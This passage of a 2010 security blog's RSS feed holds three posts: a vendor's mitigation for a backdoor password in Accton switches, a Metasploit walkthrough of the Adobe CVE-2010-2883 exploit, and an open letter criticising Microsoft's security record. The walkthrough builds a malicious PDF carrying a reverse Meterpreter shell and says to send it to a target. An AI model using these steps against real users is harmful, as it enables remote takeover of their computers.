		<pubDate>Fri, 10 Sep 2010 14:26:29 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Accton]]></category>
		<category><![CDATA[Accton-based]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[owned]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[risk]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[SNMP]]></category>
		<category><![CDATA[vlan]]></category>
		<category><![CDATA[vulnerable]]></category>
		<category><![CDATA[workaround]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=583</guid>
		<description><![CDATA[A few days ago I posted an article that was circulating regarding a backdoor in to Accton based switches. You can read that post here. Shortly after, a person by the name of &#8220;CK&#8221;, who apparently works for the vendor, responded with the company&#8217;s side of the story. I then issued my response, and CK [...]


Related posts:<ol><li><a href='http://www.attackvector.org/backdoor-password-in-accton-based-switches/' rel='bookmark' title='Backdoor Password in Accton Based Switches'>Backdoor Password in Accton Based Switches</a></li>
<li><a href='http://www.attackvector.org/browser-headers-and-information-leaks/' rel='bookmark' title='Browser headers and information leaks'>Browser headers and information leaks</a></li>
<li><a href='http://www.attackvector.org/alientechnology-alr-9900-lolz/' rel='bookmark' title='AlienTechnology ALR-9900 = lolz.'>AlienTechnology ALR-9900 = lolz.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>A few days ago I posted an article that was circulating regarding a backdoor in to Accton based switches.  You can read that post <a href="http://www.attackvector.org/backdoor-password-in-accton-based-switches/">here</a>.  Shortly after, a person by the name of &#8220;CK&#8221;, who apparently works for the vendor, responded with the company&#8217;s side of the story.</p>
<p>I then issued my response, and CK commented with the steps to take to help to secure your router/switch that is vulnerable to this backdoor.  Thanks CK!</p>
<p>Here&#8217;s the exchange plus the fix:</p>
<p><span id="more-583"></span></p>
<blockquote><p>
hi, Matt,<br />
Thanks for bringing up this security issue.<br />
In order to help customer who forgot the password and doesn’t want to loss the configuration to login the switch to change the existing password. So we provided this mechanism if customer provide us the MAC address of the his switch, we will generate a unique password for such switch for him/her. It is regret the it come out to be a security issue.</p>
<p>Last year, when we received this information that somebody break the algorithm, we had already changed our firmware so that this password can’t be used via Telnet, Web etc protocol via network. Only when the administrator can physically reach the switch via console login, then this password is valid.</p>
<p>Some of the switches which had been phased out may still have the problem, If any customer has such concern, please contact us, we will take the full responsibility to help him/her fix the problem.</p>
<p>Thanks again for your attention to prevent people using our switches from being attack. It is also our responsibility. Should you have any suggestion or comment, please feel free to contact me.</p>
<p>Best Regards<br />
C.K.NG
</p></blockquote>
<blockquote><p>
@CK: I understand your argument, but my take is this:</p>
<p>If, say, 2% of your customer base forget their passwords and have to reset their devices and start from scratch, why would you put the other 98% of your customer base at risk for getting owned? Personally, if I ran one of your routers/switches/whatever and found out that I had lost trade secrets or valuable information due to a hole that your company intentionally put in to my router/switch, you would have a lawsuit on your hands.</p>
<p>It is not your responsibility to provide a way for your customers to log in to their device if they’ve forgotten their password. If they’ve made the mistake of setting a password and not documenting it, remembering it, something, that is not your company’s issue – it’s theirs. And, if they have to reset their router/switch as a result of their carelessness, maybe the task of reconfiguring the router will make them be a little more diligent the next time.</p>
<p>All of us have forgotten our passwords to something at some point in our lives. I’ve hit the “reset” button on many devices in my day due to not having documented a password. This is my own fault and I accept that.
</p></blockquote>
<blockquote><p>
Dear Matt,<br />
Thanks for your comment, you are absolutely correct. but it also showed that our company is care about customer, even they are the 2%.</p>
<p>Anyway I think if customer use the switch properly, it won’t be attacked by the super password issue.</p>
<p>Firstly, normally customer will separate the user vlan from management vlan, so user can reach the switch.</p>
<p>Secondary, even if user and switch in the same vlan (subnet), or the management vlan can be accessed by routing, we still have a way to prevent switch from attack,</p>
<p>by using the command showing below, only specified management IP can access the switch.</p>
<p>Console#config<br />
Console(config)#management ?<br />
all-client Adds IP addresses to SNMP, Web and Telnet groups<br />
http-client Adds IP addresses to the Web group<br />
snmp-client Adds IP addresses to the SNMP group<br />
telnet-client Adds IP addresses to the Telnet group<br />
Console(config)#management all-client ?<br />
A.B.C.D Starts IP address<br />
Console(config)#management all-client 192.168.1.1 ?<br />
A.B.C.D Ends IP address</p>
<p>Console(config)#management all-client 192.168.1.1 192.168.1.10</p>
<p>only IP address within 192.168.1.1-10 can access the switch via telnet, http, snmp or all</p>
<p>using this way, user also can’t get mac of the switch via SNMP</p>
<p>Please comment if it address your connern. Thanks.</p>
<p>Please also don’t forget to change the default username and password</p>
<p>Console(config)#no username guest<br />
Console(config)#no username admin<br />
Console(config)#username ck_ng password 0 Support<br />
Console(config)#enable password level 15 0 Support</p>
<p>From log you can also see who is login to the switch</p>
<p>Console#sh log ram</p>
<p>[488] 02:11:09 2001-01-01<br />
“LoginSuccess,__super,WEB,10.2.32.162″</p>
<p>[20] 00:11:58 2001-01-01<br />
“LoginSuccess,ck_ng,Console,10.2.4.21″<br />
level: 6, module: 5, function: 1, and event no.: 1</p>
<p>[18] 00:11:34 2001-01-01<br />
“LoginFailure,guest,Console,10.2.4.21″</p>
<p>[15] 00:09:29 2001-01-01<br />
“LoginFailure,admin,Console,10.2.4.21″<br />
level: 6, module: 5, function: 1, and event no.: 1
</p></blockquote>
<p>Thank you CK for providing us with a workaround.  I&#8217;m sure there are a lot of people who run Accton based switches that will find this information useful.</p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=583" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fvendor-response-to-backdoor-in-accton-switches-post%2F&amp;title=Vendor%20Response%20to%20Backdoor%20in%20Accton%20Switches%20Post" id="wpa2a_16"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/backdoor-password-in-accton-based-switches/' rel='bookmark' title='Backdoor Password in Accton Based Switches'>Backdoor Password in Accton Based Switches</a></li>
<li><a href='http://www.attackvector.org/browser-headers-and-information-leaks/' rel='bookmark' title='Browser headers and information leaks'>Browser headers and information leaks</a></li>
<li><a href='http://www.attackvector.org/alientechnology-alr-9900-lolz/' rel='bookmark' title='AlienTechnology ALR-9900 = lolz.'>AlienTechnology ALR-9900 = lolz.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/vendor-response-to-backdoor-in-accton-switches-post/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>New Adobe 0day Demonstration</title>
		<link>http://www.attackvector.org/new-adobe-0day-demonstration/</link>
		<comments>http://www.attackvector.org/new-adobe-0day-demonstration/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 19:41:23 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[adobe_cooltype_sing]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[cooltype]]></category>
		<category><![CDATA[CVE-2010-2883]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[Meterpreter]]></category>
		<category><![CDATA[PDF]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=579</guid>
		<description><![CDATA[I haven&#8217;t seen anyone do a writeup of an actual exploitation of this 0day yet, so I figured now would be a good time, since it&#8217;s getting so much publicity. It has just been announced that this is actively being exploited in the wild, which definitely makes it more serious than it was a day [...]


Related posts:<ol><li><a href='http://www.attackvector.org/autorun-dll-hijacker-usb-stick/' rel='bookmark' title='Autorun DLL Hijacker (USB stick)'>Autorun DLL Hijacker (USB stick)</a></li>
<li><a href='http://www.attackvector.org/alternative-dll-hijacking-method/' rel='bookmark' title='Alternative DLL Hijacking Method'>Alternative DLL Hijacking Method</a></li>
<li><a href='http://www.attackvector.org/lnk-exploit-demonstration/' rel='bookmark' title='Windows &#8216;LNK&#8217; Exploit Demonstration'>Windows &#8216;LNK&#8217; Exploit Demonstration</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I haven&#8217;t seen anyone do a writeup of an actual exploitation of this 0day yet, so I figured now would be a good time, since it&#8217;s getting so much publicity.</p>
<p>It has just been announced that this is actively being exploited in the wild, which definitely makes it more serious than it was a day ago.  Here&#8217;s a <a href="http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html" rel="noindex" target="_blank">great writeup</a> of the malware that&#8217;s taking advantage of it.</p>
<p>And here&#8217;s a <a href="http://www.adobe.com/support/security/advisories/apsa10-02.html" rel="nofollow" target="_blank">link (CVE-2010-2883)</a> to the advisory that Adobe released.</p>
<p>And here&#8217;s the exploit code in the PDF that&#8217;s circulating in the wild:<br />
<span id="more-579"></span><br />
<center><img src="http://www.attackvector.org/pics/CVE-2010-2883.png"></center></p>
<p>Now that we&#8217;ve got all of that out of the way, lets play with the new Metasploit module that&#8217;s included in the most recent revision, though it&#8217;s pretty straight forward and as simple as all the previous Adobe Reader exploits that I&#8217;ve demo&#8217;d here..</p>
<blockquote><p>
msf exploit(adobe_cooltype_sing) > set filename test.pdf<br />
filename => test.pdf<br />
msf exploit(adobe_cooltype_sing) > set outputpath /tmp<br />
outputpath => /tmp<br />
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp<br />
payload => windows/meterpreter/reverse_tcp<br />
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.55<br />
LHOST => 192.168.0.55<br />
msf exploit(adobe_cooltype_sing) > exploit</p>
<p>[*] Started reverse handler on 192.168.0.55:4444<br />
[*] Creating &#8216;test.pdf&#8217; file&#8230;<br />
[*] Generated output file /tmp/test.pdf<br />
[*] Exploit completed, but no session was created.
</p></blockquote>
<p>Ok, now in the /tmp directory, there&#8217;s a &#8220;test.pdf&#8221; file.  Send this to the target and then you&#8217;ll need to start the handler..</p>
<blockquote><p>
msf exploit(adobe_cooltype_sing) > use multi/handler<br />
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp<br />
payload => windows/meterpreter/reverse_tcp<br />
msf exploit(handler) > set lhost 192.168.0.55<br />
lhost => 192.168.0.55<br />
msf exploit(handler) > exploit</p>
<p>[*] Started reverse handler on 192.168.0.55:4444<br />
[*] Starting the payload handler&#8230;
</p></blockquote>
<p>Now, when the target clicks on the PDF, you&#8217;ll get a command shell.</p>
<p>I have had mixed results using this exploit, so if anyone has had really successful experience with it, please let me know.  Maybe I&#8217;m overlooking something, but I&#8217;ve tested it against multiple XP boxes running a wide range of different versions of Adobe and I&#8217;d say that I&#8217;m at about a 20% success rate.</p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=579" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fnew-adobe-0day-demonstration%2F&amp;title=New%20Adobe%200day%20Demonstration" id="wpa2a_18"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/autorun-dll-hijacker-usb-stick/' rel='bookmark' title='Autorun DLL Hijacker (USB stick)'>Autorun DLL Hijacker (USB stick)</a></li>
<li><a href='http://www.attackvector.org/alternative-dll-hijacking-method/' rel='bookmark' title='Alternative DLL Hijacking Method'>Alternative DLL Hijacking Method</a></li>
<li><a href='http://www.attackvector.org/lnk-exploit-demonstration/' rel='bookmark' title='Windows &#8216;LNK&#8217; Exploit Demonstration'>Windows &#8216;LNK&#8217; Exploit Demonstration</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/new-adobe-0day-demonstration/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>An Open Letter to Microsoft</title>
		<link>http://www.attackvector.org/an-open-letter-to-microsoft/</link>
		<comments>http://www.attackvector.org/an-open-letter-to-microsoft/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 16:38:12 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Blaster]]></category>
		<category><![CDATA[Boink]]></category>
		<category><![CDATA[Bonk]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[Code Red]]></category>
		<category><![CDATA[company]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[Conficker]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[denial of service attack]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[Frag]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[ILOVEYOU]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[Land]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[MyDoom]]></category>
		<category><![CDATA[Nestea]]></category>
		<category><![CDATA[NewTear]]></category>
		<category><![CDATA[Nimda]]></category>
		<category><![CDATA[Sandmind]]></category>
		<category><![CDATA[Sasser]]></category>
		<category><![CDATA[Sircam]]></category>
		<category><![CDATA[Slammer]]></category>
		<category><![CDATA[SoBig]]></category>
		<category><![CDATA[Sping]]></category>
		<category><![CDATA[spyware]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[TearDrop]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[vulnerable]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[WinNuke]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=573</guid>
		<description><![CDATA[Dear Microsoft, I have watched you develop as a company, starting with Windows 3.1. It was most peoples first experience with a PC and considering that there was really no other marketed OS (Linux was brand new and not really totally &#8220;usable&#8221; yet. I ran it, but it was not for the faint of heart. [...]


Related posts:<ol><li><a href='http://www.attackvector.org/damn-vulnerable-linux-dvl/' rel='bookmark' title='Damn Vulnerable Linux (DVL)'>Damn Vulnerable Linux (DVL)</a></li>
<li><a href='http://www.attackvector.org/top-10-ways-to-protect-yourself-online/' rel='bookmark' title='Top 10 Ways To Protect Yourself Online'>Top 10 Ways To Protect Yourself Online</a></li>
<li><a href='http://www.attackvector.org/the-hackers-behind-stuxnet/' rel='bookmark' title='The Hackers Behind Stuxnet'>The Hackers Behind Stuxnet</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Dear Microsoft,</p>
<p>I have watched you develop as a company, starting with Windows 3.1.  It was most peoples first experience with a PC and considering that there was really no other marketed OS (Linux was brand new and not really totally &#8220;usable&#8221; yet.  I ran it, but it was not for the faint of heart.  All the other Unices were geared toward infrastructure use, not home use) that allowed you to multitask, had a GUI, and was in color, you had the lions share of the market.</p>
<p>Security wasn&#8217;t much of an issue back in these days.  There were no home networks, most people had never been on the internet, and the web had just come into existence.  You had a free pass.</p>
<p>Then, in 1995, you raised the bar with Windows 95.  This was epic.  More colors, way more features, and more software.  Oh, and networking was built in to the core of the OS.  Now everyone was getting online.  This was great for society, but not so great for you, Microsoft, as this is when the public started to realize that the code you were producing was, well, terrible at best.</p>
<p>What really set this off was &#8220;WinNuke&#8221;, you remember, I&#8217;m sure.  Just a simple TCP connection to port 139 and sending &#8220;msg_oob&#8221; caused Windows 3.1, 95 and NT to crash.  Remember?  This is when the term &#8220;Blue Screen of Death&#8221; was made mainstream.<br />
<span id="more-573"></span><br />
As a result, bored kids worldwide began to dig deeper and try to come up with new ways to make Windows crash.  Initially, this was to knock people off of IRC (Internet Relay Chat), but it grew.  Lets run down the list of TCP stack issues you encountered back in the mid to late 90&#8242;s:</p>
<p>* Winnuke<br />
* TearDrop<br />
* TearDrop v2 (yes, v2.. you remember, you screwed up in your attempt to patch for v1&#8230;)<br />
* NewTear (&#8230;yeah, not even going to comment on this one)<br />
* Boink<br />
* Bonk<br />
* Frag<br />
* Nestea<br />
* Nestea v2 (&#8230;another wonderful patch job)<br />
* Sping<br />
* Jolt<br />
* Land</p>
<p>All of those caused Windows 3.1 &#8211; 98 to crash.  That&#8217;s right, a user could be sitting at their computer and boom, blue screen.  This wasn&#8217;t a huge issue at first, because it was limited to people on IRC, for the most part.  It didn&#8217;t affect home users, because they weren&#8217;t being targeted&#8230; that was until someone wrote a perl script to run a few of these attacks against incrementing IP addresses starting with 1.1.1.1.  I vaguely recall hearing something about NASA being downed by this attack.. hmmm.</p>
<p>Beyond the denial of service attacks, you also encountered all of the issues with IIS.  I honestly don&#8217;t even know where to begin with IIS.  Thanks to you and the developers of IIS, we saw the internet get owned in a multitude of ways.  The first were individual hacker groups owning just about every website they&#8217;d come across.  The White House, FBI, CIA, NASA, and just about every other government organization was among these who had their website defaced.  We wont even begin to mention the millions of company websites that were owned.  I do remember hearing something about a classified memo from the high ups in Microsoft indicating that there shall be &#8220;no internet facing Windows boxes&#8221;.  You expected your users to run your software, but refused to yourself and wound up using a de-badged version of Apache running on some perverted version of *nix to host your website.</p>
<p>Beyond that, we have countless internet worms that all target vulnerabilities/weaknesses in the Windows product.  Lets take a look at the list (with damages included where possible):</p>
<p>* Melissa &#8211; $1,200,000,000<br />
* ILOVEYOU &#8211; $15,000,000,000<br />
* Anna Kournikova<br />
* Sandmind<br />
* Sircam &#8211; $1,000,000,000<br />
* Code Red &#8211; $2,000,000,000<br />
* Code Red II (another wonderful patch job?)<br />
* Nimda &#8211; $635,000,000<br />
* SQL Slammer &#8211; $750,000,000<br />
* Blaster &#8211; $320,000,000<br />
* SoBig &#8211; $37,100,000,000 (whoa.)<br />
* Sober<br />
* MyDoom &#8211; $38,000,000,000 (whoa!)<br />
* Sasser &#8211; $500,000,000<br />
* Conficker &#8211; $9,100,000,000</p>
<p>I could go on and on, but those are the big ones.  So, totaling all of those up, you&#8217;ve cost us around $105,605,000,000 (one-hundred and five billion dollars).  This is interesting, because if Ford released a car that was so faulty that it caused $105,605,000,000 dollars to US citizens, you had better believe that there would be a huge class act lawsuit AND a good chance that Ford would no longer be in business&#8230; yet, somehow, you&#8217;ve managed to make it all this time unscathed, except for the antitrust business, which you brought on yourself.</p>
<p>But, you haven&#8217;t stopped.  Just about every single day a new vulnerability is discovered in your code, with exploits to follow.  They&#8217;re being released publicly, or sold on the black market, because, apparently, you, Microsoft, think that paying a &#8220;bug bounty&#8221; is not a good idea.  Well, I suppose it&#8217;s not a good idea if you use buggy, vulnerable software as motivation to upgrade to newer, more buggy software, but there will come a time where, hopefully, people grow tired of constantly getting owned.</p>
<p>They&#8217;ve become so accustomed to getting hacked in some form or another, that they don&#8217;t even think about it anymore.  &#8220;Oh, yeah, I got a virus and had to buy a new computer&#8221;, &#8220;my computer is so fricken slow because of spyware, I&#8217;m just going to buy a new one&#8221;, &#8220;I don&#8217;t open attachments from anyone anymore.. the last time I did someone stole my bank account information&#8221;, etc. etc.</p>
<p>I wonder what part of the national debt you&#8217;ve contributed to, Microsoft.  You claim that you&#8217;re spending millions upon millions of dollars focusing on security, but the fact of the matter is, you&#8217;re failing.  Just last week a bug was rediscovered (DLL hijacking) that was initially brought to your attention 10 years ago.  10 YEARS AGO!  But, you&#8217;re so arrogant that you decided to just ignore it.  I&#8217;m sure the mentality of it was, &#8220;well, if this thing gets out and people start getting hacked, we can sell them a new version of Windows!&#8221;</p>
<p>Just remember, Microsoft, that when people begin to get tired of having their bank account information stolen and having to buy new computers because they run an operating system that is written by the marketing department, you&#8217;ll just be a blip on a timeline comparable to the bubonic plague.</p>
<p>Sincerely,<br />
Matt<br />
AttackVector.org</p>
<p>For those interested in finding an OS that&#8217;s better, more stable, more secure (ie &#8211; you can browse the web again without having to worry about getting spyware, viruses, or what links you click on.. ooooooo!), visit the following links:</p>
<p>Ubuntu Linux &#8211; probably the easiest distribution of Linux to use/run/operate.  Great for people interested in trying out Linux (it can run on a live-cd, or USB stick)<br />
<a href="http://www.ubuntu.com" rel="noindex" target="_blank">www.ubuntu.com</a></p>
<p>Wonder what Linux looks like?<br />
<object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/E4Fbk52Mk1w?fs=1&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/E4Fbk52Mk1w?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Not sure Ubuntu is right for you?  Here&#8217;s a list of a bajillion other Linux distros:<br />
<a href="http://www.linux.org/dist/list.html" rel="noindex" target="_blank">Linux.Org/dist</a></p>
<p>Worried about what software?  Office programs, etc?<br />
<a href="http://www.linux.org/apps/" rel="noindex" target="_blank">Linux.org/apps</a></p>
<p>Really can&#8217;t totally move over to Linux?  How about running Windows under Linux?<br />
<a href="http://www.vmware.com/products/player/" rel="noindex" target="_blank">VMWare Player</a></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/c9-MOgu4rLg?fs=1&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/c9-MOgu4rLg?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Worried about price?  Well, if you haven&#8217;t heard, Linux is free, and so is about 99% of the software available for it.  How can it be free?<br />
<a href="http://www.linux.com/archive/feed/32511" rel="nofollow" target="_blank">How can free software compete with commercial developers?</a></p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=573" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fan-open-letter-to-microsoft%2F&amp;title=An%20Open%20Letter%20to%20Microsoft" id="wpa2a_20"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/damn-vulnerable-linux-dvl/' rel='bookmark' title='Damn Vulnerable Linux (DVL)'>Damn Vulnerable Linux (DVL)</a></li>
<li><a href='http://www.attackvector.org/top-10-ways-to-protect-yourself-online/' rel='bookmark' title='Top 10 Ways To Protect Yourself Online'>Top 10 Ways To Protect Yourself Online</a></li>
<li><a href='http://www.attackvector.org/the-hackers-behind-stuxnet/' rel='bookmark' title='The Hackers Behind Stuxnet'>The Hackers Behind Stuxnet</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/an-open-letter-to-microsoft/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.881 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-02-05 05:49:05 -->
<!-- Compression = gzip -->
